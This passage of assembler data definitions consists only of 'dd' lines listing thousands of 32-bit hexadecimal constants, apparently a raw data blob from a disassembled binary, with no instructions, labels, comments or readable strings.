		dd 0C678D6BBh, 0F98A5B02h, 6EFF6A5Fh, 6D730EDDh, 0A8D6A0ADh
		dd 5A64578Bh, 11CC259h,	0DA4466D4h, 508BA2BDh, 66804BF3h
		dd 0EE9716FFh, 5FC51623h, 0FAFDC07Dh, 0BB1C5B18h, 5E49E36Fh
		dd 60A7FEB0h, 969294DFh, 1AA1121Dh, 0E26236C0h,	488A2CA5h
		dd 0BD1F89DEh, 725EE7DDh, 21CF562h, 276071E4h, 0E6950B75h
		dd 9D0266E0h, 0ED3C23h,	4B559D2Bh, 0E8BEC80Ch, 5D5710E9h
		dd 351B0063h, 0C4E16D5Fh, 47054F19h, 5115C77Eh,	2D7EFDB8h
		dd 765106BAh, 702F26A6h, 2E1541A3h, 78FCDD09h, 208DB0CDh
		dd 0E1B72B3Dh, 0E32A20BDh, 9C5108Fh, 1B1CF092h,	0D3A2E980h
		dd 0E2F91E67h, 386CF09Dh, 5F804C44h, 7A1DE781h,	83971E74h
		dd 365652CCh, 0B0E5098Ch, 2DF164B5h, 0EB711985h, 0B84E0E91h
		dd 7914329Dh, 0FA6FA466h, 0E8D7C1BCh, 17B98224h, 0D05E40CAh
		dd 9A9E005Fh, 6FE1C6D5h, 0F80AFE60h, 0FD3784C0h, 468DC702h
		dd 44D35E5Fh, 0D8885236h, 0B02D1D37h, 0F372050Dh, 0F5F4BE7Eh
		dd 2AA804BFh, 0BD7F800Ah, 0E3189C7h, 0C0681095h, 0BD0B408Ah
		dd 94973069h, 6FDE16C7h, 0BDF2FD17h, 0BBA76040h, 27087E0Eh
		dd 70DB6A30h, 9A752678h, 860F2F87h, 38509875h, 2D799804h
		dd 277BADD7h, 8181959h,	171F9A38h, 0E8408A2Bh, 0E9B9433Ah
		dd 14FB970Fh, 123294D0h, 15FF7Bh, 47F8E341h, 85976B44h
		dd 0BAFC50CDh, 24BD31C7h, 5E5F0B0Ch, 0C87DDE5Ch, 0A38DCD00h
		dd 2BF57B20h, 9B7395C0h, 66181451h, 0FAFCD3B5h,	1100CB6Eh
		dd 76A19623h, 2D9A86F4h, 747907ADh, 0BCD62B90h,	0D32325C0h
		dd 20FF2817h, 91F01CDh,	0E5E53595h, 0BDB5A793h,	0FC76B907h
		dd 4F1C44Bh, 9EF83CB7h,	5E09FE3Dh, 809B7B0Ah, 9839CF81h
		dd 0D1B547E3h, 86AE76AEh, 75BC502Fh, 0DC569211h, 0DF0080AAh
		dd 818CFF9Ch, 9034DED8h, 91194AF1h, 0DEA1B584h,	42449CD7h
		dd 0EB810268h, 0DCB81BDCh, 0FE00FCDDh, 2DDD8611h, 0B5A7600Eh
		dd 895CB61Ah, 0D3E59E6Fh, 47B5D01Fh, 845CA98h, 0C4028CD8h
		dd 0BC03B30Dh, 0DDC4A3AAh, 5E7AFEh, 615F19B4h, 720E2BF4h
		dd 30A580D6h, 0C46D7195h, 0AFBB43A8h, 5D4DB2D1h, 6FF94E16h
		dd 9D088B8Ah, 60131465h, 2DE2B6B6h, 2724B75Eh, 740FF909h
		dd 1D46D42Bh, 57912F00h, 2B32649Ah, 40581C01h, 0DD953360h
		dd 104BA97Ah, 612507C1h, 1116EAE9h, 0BFD8F380h,	1007132Dh
		dd 6BAB06h, 69001D23h, 911706C9h, 836838AFh, 2D39B874h
		dd 5EEAF59Dh, 7EA5BE5Ch, 7128F47Ah, 4009B587h, 6490E6C6h
		dd 0E0827D63h, 0DFD85183h, 531202DDh, 4021E2h, 9B590D9h
		dd 807DBD92h, 8D68B8E7h, 0E65C617Fh, 2B05AEDh, 0BD841472h
		dd 0B12ABB19h, 775B95C1h, 7337185Ah, 95B3B08Fh,	1564C1CDh
		dd 6B767F61h, 0CC043C34h, 0E6C82BB5h, 0E92140E5h, 1C013520h
		dd 921CAEBFh, 5A3EF327h, 0F01A413h, 19D18D09h, 2695E72Ah
		dd 0FF2DC189h, 50B53C02h, 54D888D3h, 41EE25A5h,	0F89023ECh
		dd 6FED2BB2h, 6C00656Fh, 0ABB33CA0h, 2135C2Dh, 28BA5626h
		dd 2BA08F76h, 0B14BF780h, 35BF1EC4h, 0C2B9E08Dh, 0B8F39A5Fh
		dd 0D57CA00h, 97312284h, 0A43C2309h, 0A80E7996h, 0D9D2549h
		dd 0BE797329h, 2508E4Ch, 0A624BB53h, 64D701D9h,	0BA6000A8h
		dd 146BB95Bh, 5613BE66h, 44BA619Fh, 520DE836h, 0B3AEB0AEh
		dd 2E158C00h, 0E8B8C7EBh, 0C0BF05C5h, 0B838881Ah, 0FE8B13F9h
		dd 0B34531BAh, 8A62DED7h, 6F882F52h, 2001AEFBh,	86646E9Ch
		dd 5EC6C38Ah, 53E06B12h, 0B03DBB50h, 623B277Ah,	5289B180h
		dd 5BAD816Ah, 0F06B6661h, 90B63C75h, 0D9CD123Dh, 2B38AE29h
		dd 1FBD21B5h, 160E69E7h, 803ADBEAh, 1BAEC4A0h, 0D8690B96h
		dd 87C02536h, 0E9348CB7h, 0DBFB2A56h, 573BC9CBh, 1147A98h
		dd 0C0A64600h, 0D424BC62h, 7BBF478h, 2D81FB16h,	0BFEE304Ah
		dd 2F127E70h, 0C6E35F6Ch, 0A8545DBAh, 7B9E000Eh, 0B3C4D39Bh
		dd 609F1613h, 951CD9D5h, 4A01F73Dh, 1C48FE30h, 4A19EF20h
		dd 0E1B8B81Bh, 0B72F0491h, 0CEECA0DEh, 0FE65129Fh, 63482C2Bh
		dd 0EC1A0449h, 25205FE1h, 5CCFAF57h, 66449202h,	4DD54D9Fh
		dd 0BC536BCCh, 8AF10502h, 78275F4h, 0EC5C3EF2h,	59B85B69h
		dd 2D4C1816h, 315EF55Bh, 37F41502h, 618B617Dh, 0AD4A3F38h
		dd 0A29AD29Eh, 0F380E48Fh, 184EFC0Fh, 8057D99Dh, 201EA3E3h
		dd 0B875FD6Ch, 275FAF00h, 0F41CA7BAh, 0C4FF0BA4h, 0F5DEB42Fh
		dd 23577427h, 3B0B26A9h, 97C66A25h, 45F32F88h, 0D4BEBD0Eh
		dd 0B36020DAh, 30190Fh,	0B2D70B17h, 43089CFAh, 3585FAA0h
		dd 1ED7A9AAh, 6710B78Eh, 4400B92Dh, 15567407h, 4FE37A70h
		dd 5FF300BCh, 1239B529h, 796C7BB5h, 3184C317h, 697CE930h
		dd 82758A70h, 57C63B5Bh, 0DEBA95B3h, 442F725Ch,	85FE4B56h
		dd 0B8A8B960h, 0F8DC4014h, 0E28AB5A1h, 0FBEB565Ch, 32015091h
		dd 0FE114605h, 17B1483Fh, 0A755122Bh, 84C4B061h, 60F1383Bh
		dd 8992F9B8h, 9D4BFABDh, 0DEEDFE6Ah, 0A563E718h, 9EB815Eh
		dd 85DD4F9h, 78F84131h,	3704D679h, 96092529h, 5DE7157h
		dd 0AE585360h, 8B8ED782h, 25F75E0Bh, 3C103363h,	0F1400AF1h
		dd 0FC373FE8h, 1CB921CDh, 0D9B7D48Eh, 0A568B199h, 0F1B22A24h
		dd 80169AD2h, 3A2E624Ah, 0D491255Ah, 1C114CC5h,	37BB6602h
		dd 2759501Fh, 62C35C25h, 0AD57F98Ah, 0F87FA242h, 3BDA4A2Fh
		dd 4CC01BC8h, 948877Ah,	0EAE498FFh, 950F1098h, 0D2FA7000h
		dd 5009B593h, 0A03500F2h, 3BC1E96Fh, 31047B9Ch,	599D016Eh
		dd 0C1D4D4FEh, 2E0A995Dh, 0E9A66274h, 0EB1F2BE0h, 0C4878600h
		dd 0CD53D9F7h, 5CD30581h, 6456CE27h, 1D8C0480h,	0D058B905h
		dd 79D512AEh, 0C28E3DE2h, 80FE9E13h, 0F9EF591Dh, 6A8016AFh
		dd 4688FE09h, 7D7887h, 2F02C7A5h, 318AA162h, 2B35B515h
		dd 0B44394h, 0AF631145h, 7E59CAh, 8A3637E1h, 88509F13h
		dd 3001C67Ah, 9D238082h, 2B090A75h, 9BFF5416h, 0C410C0CFh
		dd 0E9031Eh, 0D99E3C1Dh, 5B3AB757h, 20E9C64Bh, 0E417EDE8h
		dd 8B948F0Fh, 47C89DC0h, 9512E81Ch, 6103915Fh, 2FC0C22Ah
		dd 95521EDDh, 5A000144h, 16014453h, 9DA7F5F1h, 0F3816094h
		dd 605BFDE1h, 1FFD931h,	852E16E9h, 94A3BE10h, 97C1EBA4h
		dd 0A67A1E01h, 0FD3000EAh, 626FD3D4h, 217761h, 0A79B1F1Bh
		dd 79E63817h, 0C674F712h, 9BB8DE0h, 6773BFCFh, 882E31D7h
		dd 69624F69h, 61022A25h, 9CF9DF90h, 9A265016h, 0F5BF190Ah
		dd 7F84226Dh, 81A43AACh, 50B99E9h, 9BDBC8h, 0E7A10944h
		dd 8F98B052h, 0EAAE6502h, 55F448C6h, 88262CDEh,	546A5B8Dh
		dd 0A898B31h, 0E5139529h, 2C4C20Eh, 736FD718h, 50C0C925h
		dd 7EE38501h, 0B2A30352h, 6FD0124Ah, 8AEA4A14h,	31AE4024h
		dd 0D412A99Fh, 0F50EDEB6h, 74ADBD29h, 7B033C24h, 0C9F7075Ah
		dd 443EA05Ah, 7A8C1B4Bh, 0DDD148FFh, 94956D22h,	0D960456Ah
		dd 51212A82h, 6E6F026Ah, 0F0ED00B3h, 0D0DFA4D4h, 4E213BBh
		dd 9DCB059Fh, 91C38821h, 0B5503040h, 2C115C10h,	0D6E57401h
		dd 292D26ABh, 2530C956h, 60C50F21h, 2C8DBD04h, 0E9DE8A01h
		dd 62382E2Ah, 0B71D92CEh
		dd 43ADF883h, 2A059010h, 0AF282184h, 50FC2570h,	31B50CBFh
		dd 518D7636h, 0CFE64097h, 0CC020BBAh, 11897FC1h, 0BF975158h
		dd 124C928Dh, 5A46B2B8h, 0A782869Eh, 0A642511Dh, 8B910375h
		dd 52210008h, 1485F781h, 0D4BD2F31h, 0FA8B65E5h, 2D29F7F4h
		dd 0F6D2CD9Dh, 6D81FF4Ah, 7A60DEC4h, 56BCAAA1h,	2A5B69E7h
		dd 0B388D216h, 0B00140EDh, 0FA96CCD8h, 70E6255Fh, 2BF8FB61h
		dd 6465F75Fh, 0AC92566h, 5762F164h, 9309D14h, 0D9ACE051h
		dd 0BFC302C9h, 7C806203h, 0E4422561h, 349B10D7h, 99B00059h
		dd 0F653AC1Dh, 3D096FB4h, 587BE89Eh, 2BFC00F6h,	0BEECBBC8h
		dd 58957E6Eh, 296A44DDh, 0B2D256B7h, 2E52CDDCh,	4C508500h
		dd 80524755h, 0E52D5ACBh, 340E9BD4h, 0DFBF800Ch, 298D286Bh
		dd 3BDB1784h, 6F19CDD0h, 803F03ADh, 0DD6665A5h,	177A8964h
		dd 1D9862AEh, 54B50922h, 0B34CA502h, 402ABF05h,	0A210455Eh
		dd 0AC984A53h, 177F25C7h, 3DE74E4Dh, 0FB8D9903h, 0A12FF0DBh
		dd 0B66A5A75h, 0F75CF19Eh, 9A711F4h, 0DBB13F7Dh, 6554D02h
		dd 80D06E55h, 2D3E56F8h, 9D72ABB9h, 14B19D10h, 3035B7C7h
		dd 0B36EE4BBh, 65536D4Bh, 39606FFAh, 218201BBh,	413ACF58h
		dd 91F1202Fh, 9B0270DCh, 0FB8A5B6h, 9F811281h, 2A516FF7h
		dd 6E7F9EB1h, 70B25E5Eh, 8A63BB14h, 0B7564C25h,	11946FEh
		dd 8B7871A5h, 0B484C507h, 0AB166BE7h, 165FC61h,	66A64A0Eh
		dd 0A23DC1A4h, 92ED6E64h, 82263058h, 85296156h,	100B2FA5h
		dd 0ACB5555Bh, 0E186CA7h, 7F12BC30h, 0A51412D2h, 8D2E2A40h
		dd 61C01CC8h, 5289397h,	4690456Ch, 3F31BE07h, 83BDF80h
		dd 0BF8105A1h, 4553C62h, 5B8A72Dh, 76189925h, 9D0940A6h
		dd 57990729h, 672BA53Fh, 0E1F038B9h, 0F0F8B62Eh, 82352C40h
		dd 0B19BF662h, 7EFC4F4h, 9958D93h, 0CDADB75Bh, 80D5CB6Dh
		dd 0FFD33B19h, 7953BBE1h, 438C40A7h, 0A10102B9h, 811108AAh
		dd 2FEC75CBh, 0D5949523h, 0A401E645h, 382B10A9h, 26D3EEB1h
		dd 0ECBD50A9h, 3C016DD0h, 6030F84Eh, 0DA31CA8Bh, 61A5926Eh
		dd 7F51D856h, 0CDA6BE15h, 0C19DD5E0h, 0BC32E700h, 104C3994h
		dd 4DBD1631h, 0A822BD09h, 7E268C15h, 0CE022385h, 5605B830h
		dd 168826F8h, 163DF733h, 9BC0B41h, 0FF011FC5h, 0D900407Ah
		dd 93AB327h, 125A918Dh,	0BF0218B7h, 3E4E4BDBh, 46D6C956h
		dd 4D94001Ch, 102EF86Ch, 46782E06h, 90811273h, 41B8606Dh
		dd 6411AE05h, 0D4AF29B4h, 0B908E9A6h, 0B927FE2Ah, 4B185529h
		dd 0FA9F3B5Bh, 13D40028h, 3DEA7F21h, 0E802ECEBh, 51729F68h
		dd 3290776Eh, 7CBF2F2Ah, 0B0825201h, 48D5F84Ch,	2C71601Fh
		dd 89646E4Eh, 645108EAh, 0D5D30EBDh, 8910E209h,	1BEFDF85h
		dd 0E9FE74C0h, 0F7FFA2BAh, 64706CD3h, 0D11412FEh, 48DDB617h
		dd 0D58D4A47h, 0CCFF81Bh, 2C3556E0h, 8F2C23D8h,	45092746h
		dd 5CF95905h, 9091DE0Ch, 95FBB0B2h, 35B5FCB0h, 25E7284Ah
		dd 0DE525DE0h, 0E9130E0Ch, 3FA81B0Dh, 9992369Dh, 0FEF2B07Dh
		dd 73FC8616h, 16ACA7E9h, 7EE9128Ch, 0EC9CE0F1h,	2185E74Bh
		dd 0CBB6DBAAh, 4564F5E9h, 0A4BCA3B6h, 9D41F345h, 96001065h
		dd 0B11393BBh, 63C14120h, 8BECCD71h, 451B97D9h,	0B0DB9C04h
		dd 981682Bh, 96BC863h, 6F784860h, 9B1FF3Ch, 5986B337h
		dd 254B1F4h, 658288A8h,	6D901A32h, 4DDDAC8Bh, 0F8F2C32Dh
		dd 236194E0h, 0BFDBA601h, 4B01138Fh, 0C88F9A6Bh, 0F0B9C71Dh
		dd 0B5AEF67Dh, 31124607h, 1D6401E7h, 2561D1E0h,	355C4CB7h
		dd 0E8100871h, 4B043686h, 54117C2Dh, 33A3E5A8h,	14233E84h
		dd 8497E27h, 51250959h,	0D75327BDh, 30859D04h, 0A4BD3BABh
		dd 2551E6C1h, 0B2C0DE5Eh, 6FB05F22h, 0D32FF902h, 0DE602618h
		dd 0CD7D400Eh, 0FC01786Ch, 184D88FDh, 0DBD4AB50h, 5C0C08F6h
		dd 5918A0F3h, 0B90EA98Ch, 7C85E62Ch, 0E38152C0h, 52AAB3A7h
		dd 11CDF309h, 0F7DB3F27h, 0F3E88680h, 8D2F9509h, 4229BA2Fh
		dd 0BDA17AABh, 1459245Bh, 62271D36h, 0D9736282h, 146C2356h
		dd 96E31274h, 26A7B30Eh, 111BB7FCh, 8C1FC75h, 7A91983Ah
		dd 0C06E0005h, 5FFE4F5Ah, 4A5B9796h, 1278B78h, 0ED0B85D6h
		dd 3AA449C6h, 0ED18D1Dh, 0BB028B46h, 4C78584Eh,	5769AC56h
		dd 8E9049D1h, 9A59F8C9h, 70A5DBEBh, 0FD014895h,	8870BFFCh
		dd 252B7EF9h, 916FEBA4h, 0CDC76600h, 12398D31h,	0E48B6DBDh
		dd 3B23601Ch, 0B9570286h, 326C5F6Eh, 420336D9h,	0E05A7035h
		dd 0FDFAD0B8h, 0E6E9B844h, 0AEC28312h, 0C2E095F6h, 1D0B5429h
		dd 0DE05BC79h, 0AF0847F2h, 6C8BDF00h, 0DCE4F5BEh, 0FFC4374Ah
		dd 33B8DFE9h, 5EA66C00h, 57DD60E4h, 98ED90F6h, 7A56BF44h
		dd 2D298D85h, 5068CAAAh, 0AE4A7066h, 5F0BEDCCh,	0B8752BDh
		dd 62E1B9BEh, 9BF67B6Ah, 589D82F0h, 0D6715B19h,	0A26A5152h
		dd 0BC1F9330h, 5D92CD04h, 0D3762ABh, 0B0140F20h, 124D008Ah
		dd 0D3959886h, 3558DDDEh, 8C6804EFh, 35AB7D20h,	6F590723h
		dd 5348F0C6h, 115B3772h, 0E09252FEh, 92C49657h,	3F29193Dh
		dd 0AB256F6Eh, 1495D766h, 413845B5h, 21F6D34h, 41D78650h
		dd 955F78F3h, 0B12831F7h, 0F277956Bh, 8E7E0020h, 20DEEC21h
		dd 1F95392Ch, 0C403D34Ch, 9FBF4DB9h, 0ECD0D3B0h, 0DB76DB34h
		dd 0C0DE9EEBh, 54019261h, 0E50C04F5h, 0C2307D3Eh, 38FD1131h
		dd 7964D4h, 9AFF3A95h, 0B406547Ch, 0F6877F2Fh, 0EABDC544h
		dd 0DA6A4BE1h, 0C017C83Dh, 8596DF3Ah, 54117995h, 148A2948h
		dd 12D11CCCh, 0E4B72C61h, 0B99F92Ch, 695C0B7Dh,	9E3F6571h
		dd 0D97FC3CDh, 201498CBh, 97F704C2h, 90F19D2Bh,	0F9BD2922h
		dd 0D8A8185Ah, 0A061A6B5h, 56FE9D5h, 0EB614CD8h, 653CFCD0h
		dd 8AECC6D9h, 0C48AA292h, 8AFE8C0Fh, 407101DEh,	0F9B438B5h
		dd 171B73Bh, 0A5D704DAh, 52BD8E9h, 0ADC18B86h, 0ECBB8FAh
		dd 86D70FB1h, 9C3E22A1h, 85F36A2Ch, 0F6458C4Fh,	21A96607h
		dd 0A570EFB5h, 87B8D15h, 0CE8DDE0h, 1FCAED80h, 7F51AFB0h
		dd 2FDAB74Eh, 618D0112h, 0A95BD34Eh, 0B5D5F5h, 42821491h
		dd 0D25C5090h, 0B1465240h, 911D0EBCh, 96890BD5h, 57491F5Ch
		dd 7F807971h, 7417D3BCh, 0D3FA9FA6h, 0D074F397h, 4C091612h
		dd 0FD086667h, 80EE2091h, 49D7810Ch, 0C25F3E0Dh, 181211F4h
		dd 5D2FAB58h, 9610DF01h, 0D154BBFh, 5C6090h, 0D9DE77EAh
		dd 0CC25E4h, 0F1844AEEh, 0B1E53AFBh, 8A5E0804h,	0BEAC61EAh
		dd 0DFE7BF02h, 0C35647A7h, 8E9B9097h, 1BB75580h, 31988CA9h
		dd 67226925h, 601AE4BCh, 0AAD0ED0h, 2132AAB3h, 0C9401D8Bh
		dd 0BDD557CCh, 0A5D909B3h, 0B381D959h, 0B8F0FDEh, 5886E2Ch
		dd 0CE31BB8Fh, 59B976A3h, 0A86FFDD2h, 0D6320971h, 0BA0934DAh
		dd 0FF5B9960h, 0BC76D159h, 231497CDh, 0E4DE8A5Eh, 0BD3337C0h
		dd 0DBA931DDh, 454A2002h, 0BF1E90F2h, 4C169BCDh, 0C8F9004h
		dd 6450852h, 4FE466A5h,	81E5DB90h, 231D4676h, 0C8042733h
		dd 0FB5D065Fh, 9059B98Ch, 0B03E0295h, 37AE68F4h, 0AD9361E0h
		dd 146423h, 0DA72F0BBh,	904BE92Ch, 1B104D8Eh, 0F2C44612h
		dd 377776D3h, 0AAF86571h, 6A6A53DDh, 27C95A02h,	64385721h
		dd 0AECA7C12h, 5A691BB0h, 0E457AC15h, 0CA801E9h, 0E2E03A00h
		dd 0ED8EF2ABh, 7E09978Bh, 1221BF7Dh, 0DB67AE41h, 912FBF70h
		dd 7EF89562h, 4F20B925h, 173405Ah, 1707C52Bh, 6375EC46h
		dd 0C4045695h, 5F09287Dh
		dd 30088573h, 9D030701h, 6049A881h, 255DDE47h, 0C4C70E6h
		dd 0E47CD70Ah, 9912B971h, 323FA3BFh, 5CF55108h,	0E353128Dh
		dd 0A2F85B87h, 44572A25h, 0AC92012h, 0B339C19Dh, 0E80BE46Ch
		dd 0A3D53E91h, 8911BFCCh, 0EB2A7628h, 3CB09242h, 728055F5h
		dd 899D01D1h, 19FF7295h, 0E30D698Dh, 0FBA72EBFh, 0EEEC5100h
		dd 7B2BAFAAh, 0CB71D600h, 3C5372D7h, 5B751774h,	1C3DACFCh
		dd 44174E49h, 95398CAFh, 0B76B2962h, 7A35C7Ah, 4BE19D0Bh
		dd 249575Ch, 7550A612h,	8280706Eh, 9FC81FF5h, 0B662B470h
		dd 0ADC94A8Bh, 0E2B04A87h, 5957D90Fh, 0B464A5D3h, 823A4C45h
		dd 0B45C1309h, 29300553h, 4A2BED9Dh, 32709593h,	53D6D84Eh
		dd 0EFE95540h, 512A0109h, 0E0BA5623h, 7EA56662h, 90DE5C00h
		dd 0B46B4319h, 0C8AE8C2h, 58E9E2FEh, 5B4B616Ch,	4172E398h
		dd 40D7FE8Fh, 97A4B7F5h, 0FC8A9818h, 11E7B912h,	2BA546D1h
		dd 5B33E62Ah, 4B02B76Ah, 5A09BF67h, 40981663h, 5FD5FC41h
		dd 7EB82583h, 99F6FCFCh, 98261C17h, 0EC3AC9EFh,	884B01E7h
		dd 0EC614120h, 1B7B001Eh, 0CA63D6EDh, 1F503AB5h, 6294BAF8h
		dd 0B9AB8E44h, 0CFADD323h, 0D6D36D80h, 0A65A9FB9h, 2EFDC6A9h
		dd 0DD8A6F60h, 0A57205C9h, 0EF3AC63Ch, 95C5BE0Ah, 12CBD6B1h
		dd 9B880DCCh, 8FB8F0AFh, 3DBA850Bh, 2D0AFF3Bh, 0E71088Ch
		dd 0C73B6625h, 19F2D374h, 73B7BBE4h, 9D927846h,	90A16802h
		dd 6311EC62h, 0DD0D9F8Dh, 0E62AD9DDh, 0CB842953h, 6BC36525h
		dd 83B35EF0h, 0D44B78h,	56699C11h, 24F9B501h, 14BB97C2h
		dd 518A5CD6h, 2DC41625h, 48542B71h, 850FE950h, 1881834h
		dd 9E13FFFh, 0AC0D7996h, 291DE2AAh, 0A9703CF3h,	137400F2h
		dd 32C2BDC1h, 0E7A87709h, 149750FCh, 6FA6E74Fh,	0A0D0B46h
		dd 8663F0D1h, 7AEFA5B8h, 7A640091h, 76AD636Fh, 0BB600248h
		dd 8A7501Ch, 0ED25255Ch, 1A77CB4Dh, 956482DAh, 21915523h
		dd 27C37050h, 5B0883Eh,	2DBD095Fh, 0FC5598AAh, 0A5B651D6h
		dd 0A564E3E0h, 99957E09h, 1399C148h, 0F52B722Eh, 91AEB5D5h
		dd 507D8514h, 4C7E20BEh, 0DE09A323h, 70DD2A6Dh,	0CB80121Ch
		dd 0C67AAB6Bh, 0DDA9AA00h, 0B268EDA6h, 0F04A9377h, 704D7380h
		dd 9D0F4A75h, 0A8BF6932h, 734F0085h, 0D2434AD7h, 803E3F22h
		dd 108CCBDBh, 49C30281h, 0E967EAF7h, 6EE1B9F8h,	572A4D20h
		dd 429A00EDh, 0A208756Bh, 0B200211Ch, 0AB04FED4h, 501D6A4Ch
		dd 400DC73Fh, 57955F2Dh, 918D3198h, 81A8195Eh, 76D6BB5h
		dd 0DC8AE976h, 79FD6D52h, 22850023h, 0DF317A8h,	594C802h
		dd 0D7D88D20h, 95F181Ah, 0BF3E58C8h, 1480B93Dh,	0F4E4E2DBh
		dd 171136Ch, 0FF06FEB9h, 25E710F9h, 7105D19Dh, 4771AB61h
		dd 8D1CF4B4h, 0DB900155h, 9779B8C5h, 99ABD8BBh,	9EC10200h
		dd 0F1986244h, 40A7BCA7h, 1D5EB118h, 0B2A8B01h,	0B75F47F8h
		dd 808D4CE2h, 803119C5h, 0C1279D33h, 0D4CE5601h, 317A1646h
		dd 39F29176h, 1067BB0Bh, 502D1A01h, 6A00CC71h, 0CD4CE4FAh
		dd 0AAE1E865h, 0F185F5Eh, 5A5F8A37h, 0CCEE6595h, 9AA129E0h
		dd 6B26A1Eh, 0A197A6D3h, 0BE2027A8h, 4C9EFE65h,	1A489290h
		dd 0A8635B7Eh, 9AC7543Dh, 6F80BF09h, 827B5950h,	32059D09h
		dd 8AAA5B05h, 9FA6A09Ah, 0C8ED058Dh, 0ECC55174h, 3E0D8001h
		dd 585AC2D5h, 191719C9h, 10B3A21Ah, 90002375h, 3AF101BFh
		dd 523C505Ch, 9D898F5Bh, 2BC72CDh, 777D7DAEh, 0A9D6DF05h
		dd 0C1AB1C96h, 2E3EE2A9h, 0B850522Ch, 0D7120A8h, 5ACA5B4Ah
		dd 0B7704838h, 767AC3DBh, 3DE9631Bh, 0B1B91A4Bh, 8A022CBCh
		dd 589F7DBFh, 75625C19h, 40AD56C9h, 35B62B3Ch, 16A50C00h
		dd 65967F3Dh, 80E94F3Fh, 0F58531FBh, 0DADE074Ah, 0EE444A89h
		dd 0D05F0201h, 0D284BD3Bh, 0E62DAD30h, 5D149703h, 6F04AB27h
		dd 0F8EA401Eh, 40B7A88Ch, 48A7F377h, 79B322CDh,	236E654Eh
		dd 0C1911100h, 0F7D39C13h, 22A29E13h, 18AC5BF9h, 0C1CD048Ch
		dd 0B9EB67B7h, 0A4A6D797h, 2861B7A1h, 1FD84AB7h, 0C85B95D9h
		dd 5061BD09h, 0C8965E7Ah, 0A7009155h, 8BA071FDh, 0B857CFh
		dd 7F480798h, 1451B5CBh, 83D7E200h, 0A54BF50h, 96302E8Ch
		dd 0B10EDE35h, 3F3174E8h, 370CBFC5h, 0ACF90983h, 0EED6EDA9h
		dd 0A6AA1034h, 10417D94h, 5560EA2Bh, 0AC33EAE7h, 0D6BB0482h
		dd 0B82EDC34h, 82B3D2A6h, 59BD2B04h, 0FC6FBF01h, 0B2001623h
		dd 0CF801D55h, 4D0A97C6h, 0A905DE0Fh, 191B8763h, 0DEFF3284h
		dd 5B48C07Bh, 3B0FB5C1h, 0B74AEF0Bh, 8EE94F3Bh,	840354ACh
		dd 0D687F8CBh, 5CEB9225h, 0B1FB2F4Eh, 52BD1D8h,	9EF1B1B5h
		dd 0AF618474h, 5591D5FCh, 3500A5ACh, 80ACFCB9h,	0F4A341h
		dd 8DD781DDh, 311A40EBh, 14ED9512h, 57A3E29h, 0E323ABCFh
		dd 800F1212h, 294D8CAAh, 9DB4B558h, 343B41E7h, 0B28CFF04h
		dd 0B380002Eh, 47A3DAAFh, 6016372h, 0EB699B99h,	6E3F9698h
		dd 46E7043Ch, 0ECA8A8BCh, 0CB69BB80h, 17009BEFh, 708C0CCh
		dd 4415178h, 7E70D902h,	0BDB19CBAh, 5911B125h, 84035C5Fh
		dd 63C6E795h, 0EF81B8FAh, 0B7A612CDh, 8EB0E243h, 87B91361h
		dd 0F57405E8h, 878DE90Bh, 5D819A96h, 71492E76h,	60A600E6h
		dd 0B3FE3D8Fh, 0F1214D00h, 505F676Eh, 0C9B79F96h, 0BDBBD107h
		dd 0D5F520F2h, 6E40A115h, 0A3A12Dh, 0FE2CCBBh, 29CF815Ah
		dd 21F29601h, 0BDF58060h, 9FC7C9CCh, 0AD251850h, 6D4DD705h
		dd 0BD3148E0h, 2F710272h, 0B1F4579Bh, 6C254378h, 5A917302h
		dd 7CFECF3Ah, 0F352D86Bh, 71B18903h, 0D5742E20h, 246201B3h
		dd 0DA5C14B1h, 0B257CC73h, 3E007A10h, 0DC27E18Eh, 4B2584Eh
		dd 5E297CA5h, 0D4BDB805h, 7023C0C7h, 0FE267D8h,	2E760B38h
		dd 0AD437EEFh, 0C6823135h, 0CAD07CDBh, 54510075h, 0D47DBAC5h
		dd 4F915E53h, 5DBD4A80h, 0E953F81h, 2E5783BFh, 61515F49h
		dd 0FFF21324h, 66092FDAh, 716A56BFh, 38AC2F8h, 84005729h
		dd 0FFF352E9h, 0CB0AA5BFh, 0AF30D5A1h, 0A6215A05h, 28C700A5h
		dd 0C989770h, 44C6053Eh, 0AD26C0CAh, 8D890BD1h,	559DEA71h
		dd 58B5530h, 9805288h, 905BD0D7h, 5FE91A75h, 23F9108Bh
		dd 7216D083h, 538E809Ch, 34646AB8h, 0F255E909h,	0F66A5ED3h
		dd 9075F35Ah, 0C8E1694h, 83F99B09h, 6A894DCAh, 0C023DB3Fh
		dd 0B908C243h, 205D9049h, 8C801CF5h, 18762166h,	5C06CC4h
		dd 1FB873ADh, 4F29FF12h, 230B48ECh, 372599BDh, 50EFC390h
		dd 0B8E2F9A4h, 0D2C8240Bh, 7258840Ah, 6E8CAB6Ah, 0EAF50002h
		dd 0DC89777Bh, 0B31E0308h, 5BD7E380h, 7AEB4817h, 0F1A37F4Fh
		dd 0F6B98FD0h, 5C968227h, 8A7BEB54h, 2707C650h,	1D7CA5D6h
		dd 11852960h, 2B6EB524h, 6C40D69Eh, 571F497h, 0FF557219h
		dd 6EDBC2D1h, 32F7615Fh, 25C0CE2Ah, 0F6DADC42h,	5F6E529Fh
		dd 2FA0E66h, 8A16E4B5h,	0B718C2DCh, 54D46FFh, 0A9751202h
		dd 0B745DC56h, 7DE9DA12h, 708455E3h, 16233E21h,	0A440FA01h
		dd 6B2ED88Ah, 0B152351h, 0DAC2CF9Dh, 133C8275h,	272774C9h
		dd 0D84E7CECh, 85D1D4FCh, 0D216DB5Eh, 0F557A0ABh, 80F98603h
		dd 25FD8A54h, 0D556B786h, 475F9E4h, 0EB0965B2h,	0E65A288Bh
		dd 165AA3C6h, 0BFF6AD2h, 9B59AD85h, 0D723090Eh,	0F45937BBh
		dd 18E90331h, 0B8BB8401h, 0F5B0C962h, 2BF99E02h, 0F870E600h
		dd 0F7113E4h, 80EFE283h, 42C7652Eh, 9A7F9596h, 0B9EE7FA9h
		dd 4C84F84Bh, 0D3A8F712h
		dd 20681CAh, 16FD9D03h,	652B31DFh, 0DCAAD8E7h, 9AC80263h
		dd 0B0ABF85Fh, 0CB812EC0h, 0C5142A09h, 858723Fh, 1D82443Ch
		dd 5E51ADh, 9D691579h, 2D0E738Dh, 0C529C3D4h, 329034A5h
		dd 2BFC82Bh, 7BA26016h,	3F5D18Bh, 0FC094F1Fh, 7FE99F91h
		dd 0FF2F7A63h, 0E9321E0Eh, 0B4C01286h, 417C9AAh, 0D12CC2B9h
		dd 1BCE31D5h, 1277F912h, 1DC687h, 892C7495h, 0D914668Bh
